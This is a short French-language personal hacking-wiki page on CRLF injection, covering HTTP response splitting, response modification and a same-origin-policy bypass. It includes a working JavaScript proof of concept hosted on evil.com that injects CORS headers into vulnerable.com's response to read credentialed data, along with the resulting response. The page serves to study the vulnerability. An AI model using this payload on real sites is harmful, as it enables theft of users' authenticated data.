Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

CRLF Injection

Points de contrôles

Les points suivants sont à vérifier:

Exploitation

HTTP Response Splitting

Les attaques du type “HTTP Response Splitting” ne semblent pas marcher dans la vraie vie. Firefox & Chrome checkent les réponses et renvoie une erreur quand certains headers apparaissent en double (voir Duplicate headers received from server et Firefox Advisory).

Modification de la réponse

Il est possible de modifier la réponse en terminant le header et en injectant du code arbitraire à la suite.

Same Origin Policy Bypass

On peut utiliser la vulnrébilité pour contourner la SOP grâce à CORS. Le payload JS suivant peut servir de PoC (JS sur le domaine http://evil.com ciblant http://vulnerable.com)

<html>
    CORS Bypass
    <script>
        var xhr = new XMLHttpRequest();   // new HttpRequest instance 
        xhr.onreadystatechange = function() {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                alert(xhr.responseText);
            }
        }
        xhr.withCredentials = true; 
        xhr.open("GET", 'http://vulnerable.com?NAME=test.html"%0D%0AAccess-Control-Allow-Origin:+http://evil.com%0D%0AAccess-Control-Allow-Credentials:+true%0D%0Atest:"')
        xhr.send();
    </script>
</html>

La réponse sera de la forme

HTTP/1.1 200 OK
Date: Mon, 08 Jan 2018 16:37:15 GMT
Content-Disposition: attachment;filename="test.html"
Access-Control-Allow-Origin: http://evil.com
Access-Control-Allow-Credentials: true
test:""
Content-Type: text/html;charset=UTF-8
Content-Length: 68
Connection: close

[CONTENU]

Ce qui permet de bypasse la SOP.

Payloads

Voir PayloadAllTheThings